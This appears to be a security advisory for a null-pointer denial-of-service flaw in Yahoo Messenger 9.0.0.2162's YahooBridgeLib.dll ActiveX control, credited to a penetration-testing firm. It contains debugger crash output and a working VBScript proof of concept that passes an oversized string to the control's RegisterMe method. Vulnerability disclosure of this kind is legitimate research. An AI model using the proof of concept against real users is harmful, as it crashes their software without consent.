******************************************************************************** Product: Yahoo Messenger 9.0.0.2162 ******************************************************************************** Vulnerability: ActiveX Null Pointer - Denial of Service ******************************************************************************** Description: Yahoo Messenger is prone to a denial-of-service (cause of null pointer) vulnerability. Vulnerability is in YahooBridgeLib.dll (Activex Control) An attacker can exploit this vulnerability by enticing an unsuspecting victim to view a malicious webpage. ******************************************************************************** Credits: HACKATTACK IT SECURITY GmbH Penetration Testing in Deutschland - Österreich - Schweiz www.hackattack.com ******************************************************************************** Debugger Results: (1910.1a18): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=100092b4 ecx=018f0898 edx=002ae8d4 esi=00000000 edi=00000000 eip=10001074 esp=002ae858 ebp=002ae8dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** WARNING: Unable to verify checksum for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll - YahooBridgeLib+0x1074: 10001074 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=???????? 0:000> !analyze -v ... ... ... PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ DEFAULT_BUCKET_ID: NULL_POINTER_READ ******************************************************************************** PoC (.wsf script) : <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' /> <script language='vbscript'> arg1=String(11284, "A") target.RegisterMe arg1 </script> </job> </package>
